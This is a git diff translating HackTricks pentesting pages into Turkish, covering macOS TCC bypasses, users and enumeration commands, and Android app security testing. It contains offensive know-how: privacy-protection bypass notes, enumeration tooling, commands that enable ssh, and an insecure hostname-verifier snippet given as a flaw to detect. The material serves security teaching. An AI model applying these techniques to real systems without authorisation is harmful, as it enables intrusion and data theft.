**`/usr/sbin/asr`** aracı, TCC korumalarını atlayarak tüm diski kopyalamaya ve başka bir yerde monte etmeye izin verdi.
|
||||
|
||||
### Location Services
|
||||
|
||||
**`/var/db/locationd/clients.plist`** içinde, **konum hizmetlerine** erişim izni verilen istemcileri belirtmek için üçüncü bir TCC veritabanı bulunmaktadır.\
|
||||
Klasör **`/var/db/locationd/` DMG montajından korunmuyordu** bu nedenle kendi plist'imizi monte etmek mümkündü.
|
||||
**`/var/db/locationd/clients.plist`** içinde, **konum hizmetlerine erişim izni verilen** istemcileri belirtmek için üçüncü bir TCC veritabanı bulunmaktadır.\
|
||||
**`/var/db/locationd/` klasörü DMG montajından korunmamıştı** bu nedenle kendi plist'imizi monte etmek mümkündü.
|
||||
|
||||
## By startup apps
|
||||
|
||||
@ -482,7 +490,7 @@ Klasör **`/var/db/locationd/` DMG montajından korunmuyordu** bu nedenle kendi
|
||||
|
||||
## By grep
|
||||
|
||||
Birçok durumda dosyalar, e-postalar, telefon numaraları, mesajlar gibi hassas bilgileri korunmayan konumlarda saklayacaktır (bu Apple'da bir zafiyet olarak sayılmaktadır).
|
||||
Birçok durumda dosyalar, e-postalar, telefon numaraları, mesajlar gibi hassas bilgileri korumasız konumlarda saklayacaktır (bu Apple'da bir zafiyet olarak sayılmaktadır).
|
||||
|
||||
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -492,7 +500,7 @@ Bu artık çalışmıyor, ama [**geçmişte çalışıyordu**](https://twitter.c
|
||||
|
||||
<figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Başka bir yol [**CoreGraphics olayları**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf) kullanarak:
|
||||
Başka bir yol [**CoreGraphics events**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf) kullanarak:
|
||||
|
||||
<figure><img src="../../../../../images/image (30).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -1,35 +1,33 @@
|
||||
# macOS Users & External Accounts
|
||||
# macOS Kullanıcıları ve Harici Hesaplar
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Common Users
|
||||
## Yaygın Kullanıcılar
|
||||
|
||||
- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_":
|
||||
- **Daemon**: Sistem daemonları için ayrılmış kullanıcı. Varsayılan daemon hesap adları genellikle "\_" ile başlar:
|
||||
|
||||
```bash
|
||||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||
```
|
||||
|
||||
- **Guest**: Account for guests with very strict permissions
|
||||
```bash
|
||||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||
```
|
||||
|
||||
- **Guest**: Çok sıkı izinlere sahip misafirler için hesap
|
||||
```bash
|
||||
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
||||
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
||||
```
|
||||
|
||||
- **Nobody**: Processes are executed with this user when minimal permissions are required
|
||||
- **Nobody**: Minimum izinler gerektiğinde bu kullanıcı ile işlemler gerçekleştirilir.
|
||||
- **Root**
|
||||
|
||||
## User Privileges
|
||||
## Kullanıcı Ayrıcalıkları
|
||||
|
||||
- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own.
|
||||
- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**.
|
||||
- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection).
|
||||
- For example root won't be able to place a file inside `/System`
|
||||
- **Standart Kullanıcı:** En temel kullanıcıdır. Bu kullanıcı, yazılım yüklemeye veya diğer gelişmiş görevleri gerçekleştirmeye çalışırken bir yönetici kullanıcısından izin alması gerekir. Kendi başına bunu yapamaz.
|
||||
- **Yönetici Kullanıcı**: Çoğu zaman standart kullanıcı olarak çalışan ancak yazılım yüklemek ve diğer idari görevleri gerçekleştirmek gibi root işlemleri yapmasına da izin verilen bir kullanıcıdır. Yönetici grubuna ait tüm kullanıcılar **sudoers dosyası aracılığıyla root erişimi alır**.
|
||||
- **Root**: Neredeyse her türlü işlemi gerçekleştirmesine izin verilen bir kullanıcıdır (Sistem Bütünlüğü Koruması gibi korumalar tarafından sınırlamalar vardır).
|
||||
- Örneğin, root `/System` içine bir dosya yerleştiremeyecektir.
|
||||
|
||||
## External Accounts
|
||||
## Harici Hesaplar
|
||||
|
||||
MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\
|
||||
Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`.
|
||||
MacOS ayrıca FaceBook, Google gibi harici kimlik sağlayıcıları aracılığıyla giriş yapmayı destekler. Bu işi gerçekleştiren ana daemon `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) ve harici kimlik doğrulama için kullanılan eklentileri `/System/Library/Accounts/Authentication/` klasörü içinde bulmak mümkündür.\
|
||||
Ayrıca, `accountsd` hesap türlerinin listesini `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist` dosyasından alır.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,15 +1,14 @@
|
||||
# macOS Useful Commands
|
||||
# macOS Kullanışlı Komutlar
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### MacOS Automatic Enumeration Tools
|
||||
### MacOS Otomatik Sıralama Araçları
|
||||
|
||||
- **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
|
||||
- **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb)
|
||||
- **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt)
|
||||
|
||||
### Specific MacOS Commands
|
||||
|
||||
### Belirli MacOS Komutları
|
||||
```bash
|
||||
#System info
|
||||
date
|
||||
@ -111,25 +110,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh)
|
||||
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh)
|
||||
#Start apache
|
||||
sudo apachectl (start|status|restart|stop)
|
||||
##Web folder: /Library/WebServer/Documents/
|
||||
##Web folder: /Library/WebServer/Documents/
|
||||
#Remove DNS cache
|
||||
dscacheutil -flushcache
|
||||
sudo killall -HUP mDNSResponder
|
||||
```
|
||||
### Yüklenmiş Yazılımlar ve Hizmetler
|
||||
|
||||
### Installed Software & Services
|
||||
|
||||
Check for **suspicious** applications installed and **privileges** over the.installed resources:
|
||||
|
||||
Yüklenmiş **şüpheli** uygulamaları ve yüklenmiş kaynaklar üzerindeki **yetkileri** kontrol edin:
|
||||
```
|
||||
system_profiler SPApplicationsDataType #Installed Apps
|
||||
system_profiler SPFrameworksDataType #Instaled framework
|
||||
lsappinfo list #Installed Apps
|
||||
launchctl list #Services
|
||||
```
|
||||
|
||||
### User Processes
|
||||
|
||||
### Kullanıcı Süreçleri
|
||||
```bash
|
||||
# will print all the running services under that particular user domain.
|
||||
launchctl print gui/<users UID>
|
||||
@ -140,10 +135,9 @@ launchctl print system
|
||||
# will print detailed information about the specific launch agent. And if it’s not running or you’ve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login
|
||||
launchctl print gui/<user's UID>/com.company.launchagent.label
|
||||
```
|
||||
### Bir kullanıcı oluştur
|
||||
|
||||
### Create a user
|
||||
|
||||
Without prompts
|
||||
Uyarı olmadan
|
||||
|
||||
<figure><img src="../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -2,21 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking İçgörüleri**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## Android Uygulamaları Temelleri
|
||||
|
||||
**Android güvenliği ile ilgili en önemli kısımlar ve bir Android uygulamasındaki en tehlikeli bileşenler** hakkında bilgi edinmek için bu sayfayı okumaya başlamanız şiddetle tavsiye edilir:
|
||||
@ -28,18 +13,18 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Bu, bir android cihazına (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\
|
||||
**ADB**, cihazları bir bilgisayardan **USB** veya **Ağ** üzerinden kontrol etmeyi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanmasını**, uygulamaların **yüklenmesini** ve **kaldırılmasını**, shell komutlarının **çalıştırılmasını**, verilerin **yedeklenmesini**, **logların okunmasını** ve diğer işlevleri sağlar.
|
||||
**ADB**, bir bilgisayardan **USB** veya **Ağ** üzerinden cihazları kontrol etmenizi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanmasını**, uygulamaların **yüklenmesini** ve **kaldırılmasını**, kabuk komutlarının **çalıştırılmasını**, verilerin **yedeklenmesini**, günlüklerin **okunmasını** ve diğer işlevleri sağlar.
|
||||
|
||||
ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Komutları**](adb-commands.md) listesine göz atın.
|
||||
|
||||
## Smali
|
||||
|
||||
Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\
|
||||
[**Bu eğitimde** APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yı yeni işlevsellik ile nasıl yeniden derleyeceğinizi **öğrenebilirsiniz**](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
|
||||
[**Bu eğitimde** **APK'yı decompile etmeyi, Smali kodunu değiştirmeyi ve APK'yı yeni işlevsellik ile yeniden derlemeyi** öğrenebilirsiniz](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
|
||||
|
||||
## Diğer ilginç ipuçları
|
||||
|
||||
- [Play Store'da konumunuzu sahteleyin](spoofing-your-location-in-play-store.md)
|
||||
- [Play Store'da konumunuzu sahtelemek](spoofing-your-location-in-play-store.md)
|
||||
- **APK'ları İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Cihazdan APK çıkarın:
|
||||
```bash
|
||||
@ -62,12 +47,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Statik Analiz
|
||||
|
||||
Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir dekompiler kullanarak.\
|
||||
Lütfen, [**farklı mevcut dekompilerler hakkında bilgi bulmak için burayı okuyun**](apk-decompilers.md).
|
||||
Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir decompiler kullanarak.\
|
||||
Lütfen, [**farklı mevcut decompiler'lar hakkında bilgi almak için burayı okuyun**](apk-decompilers.md).
|
||||
|
||||
### İlginç Bilgiler Aramak
|
||||
|
||||
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç herhangi bir şey arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın.
|
||||
APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın.
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -75,7 +60,7 @@ APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.c
|
||||
|
||||
### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml
|
||||
|
||||
Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara dekompilerler kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir.
|
||||
Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara decompiler'lar kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir.
|
||||
|
||||
**Manifest.xml** dosyasından tespit edilen **açıklar** şunlardır:
|
||||
|
||||
@ -83,15 +68,15 @@ Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyaları
|
||||
- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle usb hata ayıklama etkinleştirildiğinde.
|
||||
- **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek.
|
||||
- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir.
|
||||
- **İçerik Sağlayıcıları ve FileProviders**: Açıkta olan içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. FileProviders'ın yapılandırması da incelenmelidir.
|
||||
- **İçerik Sağlayıcıları ve FileProviders**: Açıkta bulunan içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. FileProviders'ın yapılandırması da incelenmelidir.
|
||||
- **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, URL şemalarının giriş açıkları için nasıl yönetildiğine özel dikkat gösterilmelidir.
|
||||
- **SDK Versiyonları**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini gösterir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular.
|
||||
- **SDK Versiyonları**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular.
|
||||
|
||||
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gereğini vurgular.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştirildiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştirildiği** bir saldırıdır. Kurban uygulamasını görünür şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\
|
||||
Sonuç olarak, bu, **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**.
|
||||
|
||||
Daha fazla bilgi için:
|
||||
@ -114,16 +99,16 @@ android-task-hijacking.md
|
||||
|
||||
**Dahili Depolama**
|
||||
|
||||
Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verirler. Ancak, bu modlar diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, bu dosyalara erişimi **kısıtlamaz**.
|
||||
Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, diğer uygulamalar tarafından, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, bu dosyalara erişimi **kısıtlamaz**.
|
||||
|
||||
1. **Statik Analiz:**
|
||||
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini** sağlayın. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
|
||||
2. **Dinamik Analiz:**
|
||||
- Uygulama tarafından oluşturulan dosyaların üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
|
||||
- Uygulama tarafından oluşturulan dosyalar üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
|
||||
|
||||
**Harici Depolama**
|
||||
|
||||
**Harici depolama** ile ilgili dosyalarla çalışırken, belirli önlemler alınmalıdır:
|
||||
**Harici depolama** ile dosyalarla ilgilenirken, belirli önlemler alınmalıdır:
|
||||
|
||||
1. **Erişilebilirlik**:
|
||||
- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
|
||||
@ -133,7 +118,7 @@ Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan**
|
||||
3. **Harici Depolamadan Veri İşleme**:
|
||||
- Harici depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
|
||||
- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez.
|
||||
- Uygulamanız harici depolamadan yürütülebilir dosyaları almak zorundaysa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
|
||||
- Uygulamanız harici depolamadan yürütülebilir dosyaları almak zorundaysa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
|
||||
|
||||
Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` yollarında **erişilebilir**.
|
||||
|
||||
@ -142,8 +127,8 @@ Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` yollarında **e
|
||||
|
||||
**Açık metin olarak saklanan hassas veriler**
|
||||
|
||||
- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data/<packagename>/shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
- **Veritabanları**: Android, her uygulamanın `/data/data/<packagename>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data/<packagename>/shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
- **Veritabanları**: Android, her uygulamanın `/data/data/<packagename>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
|
||||
### Kırık TLS
|
||||
|
||||
@ -154,24 +139,24 @@ Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder,
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Bu testi yapmanın iyi bir yolu, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak cihaz içinde Burp CA'yı yetkilendirmeden. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz.
|
||||
Bu testi denemenin iyi bir yolu, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak cihaz içinde Burp CA'yı yetkilendirmeden. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz.
|
||||
|
||||
### Kırık Kriptografi
|
||||
|
||||
**Zayıf Anahtar Yönetim Süreçleri**
|
||||
|
||||
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına izin verebilir.
|
||||
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hardcoded/tahmin edilebilir bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı tersine mühendislik işlemleri, saldırganların gizli bilgileri çıkarmasına olanak tanıyabilir.
|
||||
|
||||
**Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı**
|
||||
|
||||
Geliştiriciler, yetkilendirme **kontrolleri** yapmak, **veri saklamak** veya **göndermek** için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force dayanıklı** hash'ler kullanılmalıdır.
|
||||
Geliştiriciler, yetkilendirme **kontrolleri** yapmak, **veri saklamak** veya **göndermek** için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force saldırılarına dayanıklı** hash'ler kullanılmalıdır.
|
||||
|
||||
### Diğer Kontroller
|
||||
|
||||
- **APK'yı obfuscate etmek** önerilir, böylece tersine mühendislik işlemi saldırganlar için zorlaşır.
|
||||
- Uygulama hassas ise (banka uygulamaları gibi), **mobilin köklenip köklenmediğini kontrol etmelidir** ve buna göre hareket etmelidir.
|
||||
- Uygulama hassas ise (banka uygulamaları gibi), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir.
|
||||
- Uygulama hassas ise (banka uygulamaları gibi), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir** ve değiştirilip değiştirilmediğini kontrol etmelidir.
|
||||
- **APK'yı obfuscate etmek** saldırganların tersine mühendislik işini zorlaştırmak için önerilir.
|
||||
- Uygulama hassas ise (bankacılık uygulamaları gibi), **mobilin köklenip köklenmediğini kontrol etmek için kendi kontrollerini** gerçekleştirmelidir ve buna göre hareket etmelidir.
|
||||
- Uygulama hassas ise (bankacılık uygulamaları gibi), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir.
|
||||
- Uygulama hassas ise (bankacılık uygulamaları gibi), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir** ve değiştirilip değiştirilmediğini kontrol etmelidir.
|
||||
- [**APKiD**](https://github.com/rednaga/APKiD) kullanarak APK'nın hangi derleyici/paketleyici/obfuscator ile oluşturulduğunu kontrol edin.
|
||||
|
||||
### React Native Uygulaması
|
||||
@ -196,7 +181,7 @@ Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-met
|
||||
|
||||
### Otomatik Statik Kod Analizi
|
||||
|
||||
